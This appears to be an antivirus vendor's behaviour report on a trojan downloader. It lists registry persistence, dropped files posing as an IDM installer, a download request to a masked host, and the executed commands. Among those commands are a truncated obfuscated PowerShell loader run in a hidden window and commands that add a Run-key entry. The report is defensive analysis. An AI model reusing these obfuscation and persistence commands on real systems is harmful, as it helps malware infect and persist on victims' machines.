Trojan.DownLoader35.3792

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] '' = '%LOCALAPPDATA%\Microsoft\Dir.vbs'

Modifies file system

Creates the following files

%TEMP%\aut79d0.tmp
%TEMP%\idm_setup_temp\idm99.tmp
%TEMP%\idm_setup_temp\idm100.tmp
%TEMP%\idm_setup_temp\idm101.tmp
%TEMP%\idm_setup_temp\idm102.tmp
%TEMP%\idm_setup_temp\idm103.tmp
%TEMP%\idm_setup_temp\idm104.tmp
%TEMP%\idm_setup_temp\idm114.tmp
%TEMP%\idm_setup_temp\idm98.tmp
%TEMP%\idm_setup_temp\idm97.tmp
%TEMP%\idm_setup_temp\idm108.tmp
%TEMP%\idm_setup_temp\idm109.tmp
%TEMP%\idm_setup_temp\idm110.tmp
%TEMP%\idm_setup_temp\idm111.tmp
%TEMP%\idm_setup_temp\idm112.tmp
%TEMP%\idm_setup_temp\idm113.tmp
%TEMP%\idm_setup_temp\idm105.tmp
%TEMP%\idm_setup_temp\idm107.tmp
%TEMP%\idm_setup_temp\idm77.tmp
%TEMP%\idm_setup_temp\idm106.tmp
%TEMP%\idm_setup_temp\idm86.tmp
%TEMP%\idm_setup_temp\idm79.tmp
%TEMP%\idm_setup_temp\idm80.tmp
%TEMP%\idm_setup_temp\idm81.tmp
%TEMP%\idm_setup_temp\idm82.tmp
%TEMP%\idm_setup_temp\idm83.tmp
%TEMP%\idm_setup_temp\idm84.tmp
%TEMP%\idm_setup_temp\idm94.tmp
%TEMP%\idm_setup_temp\idm96.tmp
%TEMP%\idm_setup_temp\idm95.tmp
%TEMP%\idm_setup_temp\idm88.tmp
%TEMP%\idm_setup_temp\idm89.tmp
%TEMP%\idm_setup_temp\idm90.tmp
%TEMP%\idm_setup_temp\idm91.tmp
%TEMP%\idm_setup_temp\idm92.tmp
%TEMP%\idm_setup_temp\idm93.tmp
%TEMP%\idm_setup_temp\idm85.tmp
%TEMP%\idm_setup_temp\idm87.tmp
%TEMP%\idm_setup_temp\idm78.tmp
%TEMP%\idm_setup_temp\idm115.tmp
%TEMP%\idm_setup_temp\idm119.tmp
%TEMP%\idm_setup_temp\idm139.tmp
%TEMP%\idm_setup_temp\idm140.tmp
%TEMP%\idm_setup_temp\idm141.tmp
%TEMP%\idm_setup_temp\idm142.tmp
%TEMP%\idm_setup_temp\idm143.tmp
%TEMP%\idm_setup_temp\idm144.tmp
%TEMP%\idm_setup_temp\idm137.tmp
%TEMP%\idm_setup_temp\idm138.tmp
%TEMP%\idm_setup_temp\idm145.tmp
%TEMP%\idm_setup_temp\idm148.tmp
%TEMP%\idm_setup_temp\idm149.tmp
%TEMP%\idm_setup_temp\idm150.tmp
%TEMP%\idm_setup_temp\idm151.tmp
%TEMP%\idm_setup_temp\idm152.tmp
%TEMP%\idm_setup_temp\idm153.tmp
%TEMP%\idm_setup_temp\idm146.tmp
%TEMP%\idm_setup_temp\idm147.tmp
%TEMP%\idm_setup_temp\idm117.tmp
%TEMP%\idm_setup_temp\idm116.tmp
%TEMP%\idm_setup_temp\idm134.tmp
%TEMP%\idm_setup_temp\idm120.tmp
%TEMP%\idm_setup_temp\idm121.tmp
%TEMP%\idm_setup_temp\idm122.tmp
%TEMP%\idm_setup_temp\idm123.tmp
%TEMP%\idm_setup_temp\idm124.tmp
%TEMP%\idm_setup_temp\idm135.tmp
%TEMP%\idm_setup_temp\idm118.tmp
%TEMP%\idm_setup_temp\idm136.tmp
%TEMP%\idm_setup_temp\idm125.tmp
%TEMP%\idm_setup_temp\idm129.tmp
%TEMP%\idm_setup_temp\idm130.tmp
%TEMP%\idm_setup_temp\idm131.tmp
%TEMP%\idm_setup_temp\idm132.tmp
%TEMP%\idm_setup_temp\idm133.tmp
%TEMP%\idm_setup_temp\idm126.tmp
%TEMP%\idm_setup_temp\idm127.tmp
%TEMP%\idm_setup_temp\idm128.tmp
%TEMP%\idm_setup_temp\idm76.tmp
%TEMP%\idm_setup_temp\idm75.tmp
%TEMP%\idm_setup_temp\idm74.tmp
%TEMP%\idm_setup_temp\idm18.tmp
%TEMP%\idm_setup_temp\idm19.tmp
%TEMP%\idm_setup_temp\idm20.tmp
%TEMP%\idm_setup_temp\idm21.tmp
%TEMP%\idm_setup_temp\idm22.tmp
%TEMP%\idm_setup_temp\idm23.tmp
%TEMP%\idm_setup_temp\idm16.tmp
%TEMP%\idm_setup_temp\idm33.tmp
%TEMP%\idm_setup_temp\idm15.tmp
%TEMP%\idm_setup_temp\idm27.tmp
%TEMP%\idm_setup_temp\idm28.tmp
%TEMP%\idm_setup_temp\idm29.tmp
%TEMP%\idm_setup_temp\idm30.tmp
%TEMP%\idm_setup_temp\idm31.tmp
%TEMP%\idm_setup_temp\idm32.tmp
%TEMP%\idm_setup_temp\idm25.tmp
%TEMP%\idm_setup_temp\idm24.tmp
%TEMP%\idm_setup_temp\idm26.tmp
%TEMP%\idm_setup_temp\idm13.tmp
%TEMP%\idm_setup_temp\idm6.tmp
%TEMP%\aut7e35.tmp
%LOCALAPPDATA%\dir.vbs
%TEMP%\idm_setup_temp\idm0.tmp
%TEMP%\idm_setup_temp\idm1.tmp
%TEMP%\idm_setup_temp\idm2.tmp
%TEMP%\idm_setup_temp\idm3.tmp
%TEMP%\idm_setup_temp\idm14.tmp
%TEMP%\idm_setup_temp\idm34.tmp
%TEMP%\setup.exe
%TEMP%\idm_setup_temp\idm7.tmp
%TEMP%\idm_setup_temp\idm8.tmp
%TEMP%\idm_setup_temp\idm9.tmp
%TEMP%\idm_setup_temp\idm10.tmp
%TEMP%\idm_setup_temp\idm11.tmp
%TEMP%\idm_setup_temp\idm12.tmp
%TEMP%\idm_setup_temp\idm5.tmp
%TEMP%\idm_setup_temp\idm4.tmp
%TEMP%\idm_setup_temp\idm17.tmp
%TEMP%\idm_setup_temp\idm35.tmp
%TEMP%\idm_setup_temp\idm58.tmp
%TEMP%\idm_setup_temp\idm60.tmp
%TEMP%\idm_setup_temp\idm61.tmp
%TEMP%\idm_setup_temp\idm62.tmp
%TEMP%\idm_setup_temp\idm63.tmp
%TEMP%\idm_setup_temp\idm64.tmp
%TEMP%\idm_setup_temp\idm57.tmp
%TEMP%\idm_setup_temp\idm55.tmp
%TEMP%\idm_setup_temp\idm59.tmp
%TEMP%\idm_setup_temp\idm65.tmp
%TEMP%\idm_setup_temp\idm69.tmp
%TEMP%\idm_setup_temp\idm70.tmp
%TEMP%\idm_setup_temp\idm71.tmp
%TEMP%\idm_setup_temp\idm72.tmp
%TEMP%\idm_setup_temp\idm73.tmp
%TEMP%\idm_setup_temp\idm66.tmp
%TEMP%\idm_setup_temp\idm67.tmp
%TEMP%\idm_setup_temp\idm68.tmp
%TEMP%\idm_setup_temp\idm56.tmp
%TEMP%\idm_setup_temp\idm54.tmp
%TEMP%\idm_setup_temp\idm36.tmp
%TEMP%\idm_setup_temp\idm38.tmp
%TEMP%\idm_setup_temp\idm39.tmp
%TEMP%\idm_setup_temp\idm40.tmp
%TEMP%\idm_setup_temp\idm41.tmp
%TEMP%\idm_setup_temp\idm42.tmp
%TEMP%\idm_setup_temp\idm43.tmp
%TEMP%\idm_setup_temp\idm44.tmp
%TEMP%\idm_setup_temp\idm37.tmp
%TEMP%\idm_setup_temp\idm45.tmp
%TEMP%\idm_setup_temp\idm47.tmp
%TEMP%\idm_setup_temp\idm48.tmp
%TEMP%\idm_setup_temp\idm49.tmp
%TEMP%\idm_setup_temp\idm50.tmp
%TEMP%\idm_setup_temp\idm51.tmp
%TEMP%\idm_setup_temp\idm52.tmp
%TEMP%\idm_setup_temp\idm53.tmp
%TEMP%\idm_setup_temp\idm46.tmp
%TEMP%\idm_setup_temp\idm154.tmp
%LOCALAPPDATA%\microsoft\dir.vbs

Deletes the following files

%TEMP%\aut79d0.tmp
%TEMP%\aut7e35.tmp

Network activity

TCP

HTTP GET requests

http://ap###w.website/toor.jpg

'ap###w.website':443

UDP

DNS ASK google.com
DNS ASK ap###w.website

Miscellaneous

Creates and executes the following

'%TEMP%\setup.exe'
'%TEMP%\idm_setup_temp\idm1.tmp' -d "%TEMP%\IDM_Setup_Temp\"
'%WINDIR%\syswow64\wscript.exe' "%LOCALAPPDATA%\Dir.vbs"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $c145=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});sal oM2 $c145;$FZffaTSsTTVrsy=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%LOCALAPPDATA%\Microsoft\Dir.vbs'' (with hidden window)
'<SYSTEM32>\cmd.exe' /c copy "%LOCALAPPDATA%\Dir.vbs" "%LOCALAPPDATA%\Microsoft\" /Y' (with hidden window)

Executes the following

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $c145=-Join ((111, 105, 130)| ForEach-Object {( [Convert]::ToInt16(([String]$_ ), 8) -As[Char])});sal oM2 $c145;$FZffaTSsTTVrsy=@(36,84,98,111,110,101,61,39,42,69,88,39,46,114,101,112,108,97,99...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' Set-Item -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run -Value '%LOCALAPPDATA%\Microsoft\Dir.vbs'
'<SYSTEM32>\cmd.exe' /c copy "%LOCALAPPDATA%\Dir.vbs" "%LOCALAPPDATA%\Microsoft\" /Y